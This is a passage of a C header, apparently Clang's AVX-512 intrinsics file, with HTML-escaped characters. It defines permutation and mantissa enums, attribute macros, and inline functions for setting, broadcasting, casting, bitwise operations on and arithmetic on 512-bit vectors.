  _MM_PERM_DBCA = 0xD8, _MM_PERM_DBCB = 0xD9, _MM_PERM_DBCC = 0xDA,
  _MM_PERM_DBCD = 0xDB, _MM_PERM_DBDA = 0xDC, _MM_PERM_DBDB = 0xDD,
  _MM_PERM_DBDC = 0xDE, _MM_PERM_DBDD = 0xDF, _MM_PERM_DCAA = 0xE0,
  _MM_PERM_DCAB = 0xE1, _MM_PERM_DCAC = 0xE2, _MM_PERM_DCAD = 0xE3,
  _MM_PERM_DCBA = 0xE4, _MM_PERM_DCBB = 0xE5, _MM_PERM_DCBC = 0xE6,
  _MM_PERM_DCBD = 0xE7, _MM_PERM_DCCA = 0xE8, _MM_PERM_DCCB = 0xE9,
  _MM_PERM_DCCC = 0xEA, _MM_PERM_DCCD = 0xEB, _MM_PERM_DCDA = 0xEC,
  _MM_PERM_DCDB = 0xED, _MM_PERM_DCDC = 0xEE, _MM_PERM_DCDD = 0xEF,
  _MM_PERM_DDAA = 0xF0, _MM_PERM_DDAB = 0xF1, _MM_PERM_DDAC = 0xF2,
  _MM_PERM_DDAD = 0xF3, _MM_PERM_DDBA = 0xF4, _MM_PERM_DDBB = 0xF5,
  _MM_PERM_DDBC = 0xF6, _MM_PERM_DDBD = 0xF7, _MM_PERM_DDCA = 0xF8,
  _MM_PERM_DDCB = 0xF9, _MM_PERM_DDCC = 0xFA, _MM_PERM_DDCD = 0xFB,
  _MM_PERM_DDDA = 0xFC, _MM_PERM_DDDB = 0xFD, _MM_PERM_DDDC = 0xFE,
  _MM_PERM_DDDD = 0xFF
} _MM_PERM_ENUM;

typedef enum
{
  _MM_MANT_NORM_1_2,    /* interval [1, 2)      */
  _MM_MANT_NORM_p5_2,   /* interval [0.5, 2)    */
  _MM_MANT_NORM_p5_1,   /* interval [0.5, 1)    */
  _MM_MANT_NORM_p75_1p5   /* interval [0.75, 1.5) */
} _MM_MANTISSA_NORM_ENUM;

typedef enum
{
  _MM_MANT_SIGN_src,    /* sign = sign(SRC)     */
  _MM_MANT_SIGN_zero,   /* sign = 0             */
  _MM_MANT_SIGN_nan   /* DEST = NaN if sign(SRC) = 1 */
} _MM_MANTISSA_SIGN_ENUM;

/* Define the default attributes for the functions in this file. */
#define __DEFAULT_FN_ATTRS512 __attribute__((__always_inline__, __nodebug__, __target__(&quot;avx512f,evex512&quot;), __min_vector_width__(512)))
#define __DEFAULT_FN_ATTRS128                                                  \
  __attribute__((__always_inline__, __nodebug__,                               \
                 __target__(&quot;avx512f,no-evex512&quot;), __min_vector_width__(128)))
#define __DEFAULT_FN_ATTRS                                                     \
  __attribute__((__always_inline__, __nodebug__,                               \
                 __target__(&quot;avx512f,no-evex512&quot;)))

#if defined(__cplusplus) &amp;&amp; (__cplusplus &gt;= 201103L)
#define __DEFAULT_FN_ATTRS_CONSTEXPR __DEFAULT_FN_ATTRS constexpr
#define __DEFAULT_FN_ATTRS512_CONSTEXPR __DEFAULT_FN_ATTRS512 constexpr
#define __DEFAULT_FN_ATTRS128_CONSTEXPR __DEFAULT_FN_ATTRS128 constexpr
#else
#define __DEFAULT_FN_ATTRS_CONSTEXPR __DEFAULT_FN_ATTRS128
#define __DEFAULT_FN_ATTRS512_CONSTEXPR __DEFAULT_FN_ATTRS512
#define __DEFAULT_FN_ATTRS128_CONSTEXPR __DEFAULT_FN_ATTRS
#endif

/* Create vectors with repeated elements */

static __inline __m512i __DEFAULT_FN_ATTRS512_CONSTEXPR
_mm512_setzero_si512(void) {
  return __extension__(__m512i)(__v8di){0, 0, 0, 0, 0, 0, 0, 0};
}

#define _mm512_setzero_epi32 _mm512_setzero_si512

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_undefined_pd(void)
{
  return (__m512d)__builtin_ia32_undef512();
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_undefined(void)
{
  return (__m512)__builtin_ia32_undef512();
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_undefined_ps(void)
{
  return (__m512)__builtin_ia32_undef512();
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_undefined_epi32(void)
{
  return (__m512i)__builtin_ia32_undef512();
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_broadcastd_epi32 (__m128i __A)
{
  return (__m512i)__builtin_shufflevector((__v4si) __A, (__v4si) __A,
                                          0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_broadcastd_epi32 (__m512i __O, __mmask16 __M, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectd_512(__M,
                                             (__v16si) _mm512_broadcastd_epi32(__A),
                                             (__v16si) __O);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_broadcastd_epi32 (__mmask16 __M, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectd_512(__M,
                                             (__v16si) _mm512_broadcastd_epi32(__A),
                                             (__v16si) _mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_broadcastq_epi64 (__m128i __A)
{
  return (__m512i)__builtin_shufflevector((__v2di) __A, (__v2di) __A,
                                          0, 0, 0, 0, 0, 0, 0, 0);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_broadcastq_epi64 (__m512i __O, __mmask8 __M, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512(__M,
                                             (__v8di) _mm512_broadcastq_epi64(__A),
                                             (__v8di) __O);

}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_broadcastq_epi64 (__mmask8 __M, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512(__M,
                                             (__v8di) _mm512_broadcastq_epi64(__A),
                                             (__v8di) _mm512_setzero_si512());
}

static __inline __m512 __DEFAULT_FN_ATTRS512_CONSTEXPR _mm512_setzero_ps(void) {
  return __extension__(__m512){0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f,
                               0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f};
}

#define _mm512_setzero _mm512_setzero_ps

static __inline __m512d __DEFAULT_FN_ATTRS512_CONSTEXPR
_mm512_setzero_pd(void) {
  return __extension__(__m512d){0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_set1_ps(float __w)
{
  return __extension__ (__m512){ __w, __w, __w, __w, __w, __w, __w, __w,
                                 __w, __w, __w, __w, __w, __w, __w, __w  };
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_set1_pd(double __w)
{
  return __extension__ (__m512d){ __w, __w, __w, __w, __w, __w, __w, __w };
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set1_epi8(char __w)
{
  return __extension__ (__m512i)(__v64qi){
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w  };
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set1_epi16(short __w)
{
  return __extension__ (__m512i)(__v32hi){
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w,
    __w, __w, __w, __w, __w, __w, __w, __w };
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set1_epi32(int __s)
{
  return __extension__ (__m512i)(__v16si){
    __s, __s, __s, __s, __s, __s, __s, __s,
    __s, __s, __s, __s, __s, __s, __s, __s };
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_set1_epi32(__mmask16 __M, int __A)
{
  return (__m512i)__builtin_ia32_selectd_512(__M,
                                             (__v16si)_mm512_set1_epi32(__A),
                                             (__v16si)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set1_epi64(long long __d)
{
  return __extension__(__m512i)(__v8di){ __d, __d, __d, __d, __d, __d, __d, __d };
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_set1_epi64(__mmask8 __M, long long __A)
{
  return (__m512i)__builtin_ia32_selectq_512(__M,
                                             (__v8di)_mm512_set1_epi64(__A),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_broadcastss_ps(__m128 __A)
{
  return (__m512)__builtin_shufflevector((__v4sf) __A, (__v4sf) __A,
                                         0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set4_epi32 (int __A, int __B, int __C, int __D)
{
  return __extension__ (__m512i)(__v16si)
   { __D, __C, __B, __A, __D, __C, __B, __A,
     __D, __C, __B, __A, __D, __C, __B, __A };
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set4_epi64 (long long __A, long long __B, long long __C,
       long long __D)
{
  return __extension__ (__m512i) (__v8di)
   { __D, __C, __B, __A, __D, __C, __B, __A };
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_set4_pd (double __A, double __B, double __C, double __D)
{
  return __extension__ (__m512d)
   { __D, __C, __B, __A, __D, __C, __B, __A };
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_set4_ps (float __A, float __B, float __C, float __D)
{
  return __extension__ (__m512)
   { __D, __C, __B, __A, __D, __C, __B, __A,
     __D, __C, __B, __A, __D, __C, __B, __A };
}

#define _mm512_setr4_epi32(e0,e1,e2,e3)               \
  _mm512_set4_epi32((e3),(e2),(e1),(e0))

#define _mm512_setr4_epi64(e0,e1,e2,e3)               \
  _mm512_set4_epi64((e3),(e2),(e1),(e0))

#define _mm512_setr4_pd(e0,e1,e2,e3)                \
  _mm512_set4_pd((e3),(e2),(e1),(e0))

#define _mm512_setr4_ps(e0,e1,e2,e3)                \
  _mm512_set4_ps((e3),(e2),(e1),(e0))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_broadcastsd_pd(__m128d __A)
{
  return (__m512d)__builtin_shufflevector((__v2df) __A, (__v2df) __A,
                                          0, 0, 0, 0, 0, 0, 0, 0);
}

/* Cast between vector types */

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_castpd256_pd512(__m256d __a)
{
  return __builtin_shufflevector(__a, __builtin_nondeterministic_value(__a), 0,
                                 1, 2, 3, 4, 5, 6, 7);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_castps256_ps512(__m256 __a)
{
  return __builtin_shufflevector(__a, __builtin_nondeterministic_value(__a), 0,
                                 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
}

static __inline __m128d __DEFAULT_FN_ATTRS512
_mm512_castpd512_pd128(__m512d __a)
{
  return __builtin_shufflevector(__a, __a, 0, 1);
}

static __inline __m256d __DEFAULT_FN_ATTRS512
_mm512_castpd512_pd256 (__m512d __A)
{
  return __builtin_shufflevector(__A, __A, 0, 1, 2, 3);
}

static __inline __m128 __DEFAULT_FN_ATTRS512
_mm512_castps512_ps128(__m512 __a)
{
  return __builtin_shufflevector(__a, __a, 0, 1, 2, 3);
}

static __inline __m256 __DEFAULT_FN_ATTRS512
_mm512_castps512_ps256 (__m512 __A)
{
  return __builtin_shufflevector(__A, __A, 0, 1, 2, 3, 4, 5, 6, 7);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_castpd_ps (__m512d __A)
{
  return (__m512) (__A);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_castpd_si512 (__m512d __A)
{
  return (__m512i) (__A);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_castpd128_pd512 (__m128d __A)
{
  __m256d __B = __builtin_nondeterministic_value(__B);
  return __builtin_shufflevector(
      __builtin_shufflevector(__A, __builtin_nondeterministic_value(__A), 0, 1, 2, 3),
      __B, 0, 1, 2, 3, 4, 5, 6, 7);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_castps_pd (__m512 __A)
{
  return (__m512d) (__A);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_castps_si512 (__m512 __A)
{
  return (__m512i) (__A);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_castps128_ps512 (__m128 __A)
{
  __m256 __B = __builtin_nondeterministic_value(__B);
  return __builtin_shufflevector(
      __builtin_shufflevector(__A, __builtin_nondeterministic_value(__A), 0, 1, 2, 3, 4, 5, 6, 7),
      __B, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_castsi128_si512 (__m128i __A)
{
  __m256i __B = __builtin_nondeterministic_value(__B);
  return __builtin_shufflevector(
      __builtin_shufflevector(__A, __builtin_nondeterministic_value(__A), 0, 1, 2, 3),
      __B, 0, 1, 2, 3, 4, 5, 6, 7);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_castsi256_si512 (__m256i __A)
{
   return  __builtin_shufflevector( __A, __builtin_nondeterministic_value(__A), 0, 1, 2, 3, 4, 5, 6, 7);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_castsi512_ps (__m512i __A)
{
  return (__m512) (__A);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_castsi512_pd (__m512i __A)
{
  return (__m512d) (__A);
}

static __inline __m128i __DEFAULT_FN_ATTRS512
_mm512_castsi512_si128 (__m512i __A)
{
  return (__m128i)__builtin_shufflevector(__A, __A , 0, 1);
}

static __inline __m256i __DEFAULT_FN_ATTRS512
_mm512_castsi512_si256 (__m512i __A)
{
  return (__m256i)__builtin_shufflevector(__A, __A , 0, 1, 2, 3);
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_mm512_int2mask(int __a)
{
  return (__mmask16)__a;
}

static __inline__ int __DEFAULT_FN_ATTRS
_mm512_mask2int(__mmask16 __a)
{
  return (int)__a;
}

/// Constructs a 512-bit floating-point vector of [8 x double] from a
///    128-bit floating-point vector of [2 x double]. The lower 128 bits
///    contain the value of the source vector. The upper 384 bits are set
///    to zero.
///
/// \headerfile &lt;x86intrin.h&gt;
///
/// This intrinsic has no corresponding instruction.
///
/// \param __a
///    A 128-bit vector of [2 x double].
/// \returns A 512-bit floating-point vector of [8 x double]. The lower 128 bits
///    contain the value of the parameter. The upper 384 bits are set to zero.
static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_zextpd128_pd512(__m128d __a)
{
  return __builtin_shufflevector((__v2df)__a, (__v2df)_mm_setzero_pd(), 0, 1, 2, 3, 2, 3, 2, 3);
}

/// Constructs a 512-bit floating-point vector of [8 x double] from a
///    256-bit floating-point vector of [4 x double]. The lower 256 bits
///    contain the value of the source vector. The upper 256 bits are set
///    to zero.
///
/// \headerfile &lt;x86intrin.h&gt;
///
/// This intrinsic has no corresponding instruction.
///
/// \param __a
///    A 256-bit vector of [4 x double].
/// \returns A 512-bit floating-point vector of [8 x double]. The lower 256 bits
///    contain the value of the parameter. The upper 256 bits are set to zero.
static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_zextpd256_pd512(__m256d __a)
{
  return __builtin_shufflevector((__v4df)__a, (__v4df)_mm256_setzero_pd(), 0, 1, 2, 3, 4, 5, 6, 7);
}

/// Constructs a 512-bit floating-point vector of [16 x float] from a
///    128-bit floating-point vector of [4 x float]. The lower 128 bits contain
///    the value of the source vector. The upper 384 bits are set to zero.
///
/// \headerfile &lt;x86intrin.h&gt;
///
/// This intrinsic has no corresponding instruction.
///
/// \param __a
///    A 128-bit vector of [4 x float].
/// \returns A 512-bit floating-point vector of [16 x float]. The lower 128 bits
///    contain the value of the parameter. The upper 384 bits are set to zero.
static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_zextps128_ps512(__m128 __a)
{
  return __builtin_shufflevector((__v4sf)__a, (__v4sf)_mm_setzero_ps(), 0, 1, 2, 3, 4, 5, 6, 7, 4, 5, 6, 7, 4, 5, 6, 7);
}

/// Constructs a 512-bit floating-point vector of [16 x float] from a
///    256-bit floating-point vector of [8 x float]. The lower 256 bits contain
///    the value of the source vector. The upper 256 bits are set to zero.
///
/// \headerfile &lt;x86intrin.h&gt;
///
/// This intrinsic has no corresponding instruction.
///
/// \param __a
///    A 256-bit vector of [8 x float].
/// \returns A 512-bit floating-point vector of [16 x float]. The lower 256 bits
///    contain the value of the parameter. The upper 256 bits are set to zero.
static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_zextps256_ps512(__m256 __a)
{
  return __builtin_shufflevector((__v8sf)__a, (__v8sf)_mm256_setzero_ps(), 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
}

/// Constructs a 512-bit integer vector from a 128-bit integer vector.
///    The lower 128 bits contain the value of the source vector. The upper
///    384 bits are set to zero.
///
/// \headerfile &lt;x86intrin.h&gt;
///
/// This intrinsic has no corresponding instruction.
///
/// \param __a
///    A 128-bit integer vector.
/// \returns A 512-bit integer vector. The lower 128 bits contain the value of
///    the parameter. The upper 384 bits are set to zero.
static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_zextsi128_si512(__m128i __a)
{
  return __builtin_shufflevector((__v2di)__a, (__v2di)_mm_setzero_si128(), 0, 1, 2, 3, 2, 3, 2, 3);
}

/// Constructs a 512-bit integer vector from a 256-bit integer vector.
///    The lower 256 bits contain the value of the source vector. The upper
///    256 bits are set to zero.
///
/// \headerfile &lt;x86intrin.h&gt;
///
/// This intrinsic has no corresponding instruction.
///
/// \param __a
///    A 256-bit integer vector.
/// \returns A 512-bit integer vector. The lower 256 bits contain the value of
///    the parameter. The upper 256 bits are set to zero.
static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_zextsi256_si512(__m256i __a)
{
  return __builtin_shufflevector((__v4di)__a, (__v4di)_mm256_setzero_si256(), 0, 1, 2, 3, 4, 5, 6, 7);
}

/* Bitwise operators */
static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_and_epi32(__m512i __a, __m512i __b)
{
  return (__m512i)((__v16su)__a &amp; (__v16su)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_and_epi32(__m512i __src, __mmask16 __k, __m512i __a, __m512i __b)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__k,
                (__v16si) _mm512_and_epi32(__a, __b),
                (__v16si) __src);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_and_epi32(__mmask16 __k, __m512i __a, __m512i __b)
{
  return (__m512i) _mm512_mask_and_epi32(_mm512_setzero_si512 (),
                                         __k, __a, __b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_and_epi64(__m512i __a, __m512i __b)
{
  return (__m512i)((__v8du)__a &amp; (__v8du)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_and_epi64(__m512i __src, __mmask8 __k, __m512i __a, __m512i __b)
{
    return (__m512i) __builtin_ia32_selectq_512 ((__mmask8) __k,
                (__v8di) _mm512_and_epi64(__a, __b),
                (__v8di) __src);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_and_epi64(__mmask8 __k, __m512i __a, __m512i __b)
{
  return (__m512i) _mm512_mask_and_epi64(_mm512_setzero_si512 (),
                                         __k, __a, __b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_andnot_si512 (__m512i __A, __m512i __B)
{
  return (__m512i)(~(__v8du)__A &amp; (__v8du)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_andnot_epi32 (__m512i __A, __m512i __B)
{
  return (__m512i)(~(__v16su)__A &amp; (__v16su)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_andnot_epi32(__m512i __W, __mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                         (__v16si)_mm512_andnot_epi32(__A, __B),
                                         (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_andnot_epi32(__mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)_mm512_mask_andnot_epi32(_mm512_setzero_si512(),
                                           __U, __A, __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_andnot_epi64(__m512i __A, __m512i __B)
{
  return (__m512i)(~(__v8du)__A &amp; (__v8du)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_andnot_epi64(__m512i __W, __mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                          (__v8di)_mm512_andnot_epi64(__A, __B),
                                          (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_andnot_epi64(__mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)_mm512_mask_andnot_epi64(_mm512_setzero_si512(),
                                           __U, __A, __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_or_epi32(__m512i __a, __m512i __b)
{
  return (__m512i)((__v16su)__a | (__v16su)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_or_epi32(__m512i __src, __mmask16 __k, __m512i __a, __m512i __b)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__k,
                                             (__v16si)_mm512_or_epi32(__a, __b),
                                             (__v16si)__src);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_or_epi32(__mmask16 __k, __m512i __a, __m512i __b)
{
  return (__m512i)_mm512_mask_or_epi32(_mm512_setzero_si512(), __k, __a, __b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_or_epi64(__m512i __a, __m512i __b)
{
  return (__m512i)((__v8du)__a | (__v8du)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_or_epi64(__m512i __src, __mmask8 __k, __m512i __a, __m512i __b)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__k,
                                             (__v8di)_mm512_or_epi64(__a, __b),
                                             (__v8di)__src);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_or_epi64(__mmask8 __k, __m512i __a, __m512i __b)
{
  return (__m512i)_mm512_mask_or_epi64(_mm512_setzero_si512(), __k, __a, __b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_xor_epi32(__m512i __a, __m512i __b)
{
  return (__m512i)((__v16su)__a ^ (__v16su)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_xor_epi32(__m512i __src, __mmask16 __k, __m512i __a, __m512i __b)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__k,
                                            (__v16si)_mm512_xor_epi32(__a, __b),
                                            (__v16si)__src);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_xor_epi32(__mmask16 __k, __m512i __a, __m512i __b)
{
  return (__m512i)_mm512_mask_xor_epi32(_mm512_setzero_si512(), __k, __a, __b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_xor_epi64(__m512i __a, __m512i __b)
{
  return (__m512i)((__v8du)__a ^ (__v8du)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_xor_epi64(__m512i __src, __mmask8 __k, __m512i __a, __m512i __b)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__k,
                                             (__v8di)_mm512_xor_epi64(__a, __b),
                                             (__v8di)__src);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_xor_epi64(__mmask8 __k, __m512i __a, __m512i __b)
{
  return (__m512i)_mm512_mask_xor_epi64(_mm512_setzero_si512(), __k, __a, __b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_and_si512(__m512i __a, __m512i __b)
{
  return (__m512i)((__v8du)__a &amp; (__v8du)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_or_si512(__m512i __a, __m512i __b)
{
  return (__m512i)((__v8du)__a | (__v8du)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_xor_si512(__m512i __a, __m512i __b)
{
  return (__m512i)((__v8du)__a ^ (__v8du)__b);
}

/* Arithmetic */

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_add_pd(__m512d __a, __m512d __b)
{
  return (__m512d)((__v8df)__a + (__v8df)__b);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_add_ps(__m512 __a, __m512 __b)
{
  return (__m512)((__v16sf)__a + (__v16sf)__b);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_mul_pd(__m512d __a, __m512d __b)
{
  return (__m512d)((__v8df)__a * (__v8df)__b);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_mul_ps(__m512 __a, __m512 __b)
{
  return (__m512)((__v16sf)__a * (__v16sf)__b);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_sub_pd(__m512d __a, __m512d __b)
{
  return (__m512d)((__v8df)__a - (__v8df)__b);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_sub_ps(__m512 __a, __m512 __b)
{
  return (__m512)((__v16sf)__a - (__v16sf)__b);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_add_epi64 (__m512i __A, __m512i __B)
{
  return (__m512i) ((__v8du) __A + (__v8du) __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_add_epi64(__m512i __W, __mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_add_epi64(__A, __B),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_add_epi64(__mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_add_epi64(__A, __B),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_sub_epi64 (__m512i __A, __m512i __B)
{
  return (__m512i) ((__v8du) __A - (__v8du) __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_sub_epi64(__m512i __W, __mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_sub_epi64(__A, __B),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_sub_epi64(__mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_sub_epi64(__A, __B),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_add_epi32 (__m512i __A, __m512i __B)
{
  return (__m512i) ((__v16su) __A + (__v16su) __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_add_epi32(__m512i __W, __mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                             (__v16si)_mm512_add_epi32(__A, __B),
                                             (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_add_epi32 (__mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                             (__v16si)_mm512_add_epi32(__A, __B),
                                             (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_sub_epi32 (__m512i __A, __m512i __B)
{
  return (__m512i) ((__v16su) __A - (__v16su) __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_sub_epi32(__m512i __W, __mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                             (__v16si)_mm512_sub_epi32(__A, __B),
                                             (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_sub_epi32(__mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                             (__v16si)_mm512_sub_epi32(__A, __B),
                                             (__v16si)_mm512_setzero_si512());
}

#define _mm512_max_round_pd(A, B, R) \
  ((__m512d)__builtin_ia32_maxpd512((__v8df)(__m512d)(A), \
                                    (__v8df)(__m512d)(B), (int)(R)))

#define _mm512_mask_max_round_pd(W, U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_max_round_pd((A), (B), (R)), \
                                   (__v8df)(W)))

#define _mm512_maskz_max_round_pd(U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_max_round_pd((A), (B), (R)), \
                                   (__v8df)_mm512_setzero_pd()))

static  __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_max_pd(__m512d __A, __m512d __B)
{
  return (__m512d) __builtin_ia32_maxpd512((__v8df) __A, (__v8df) __B,
                                           _MM_FROUND_CUR_DIRECTION);
}

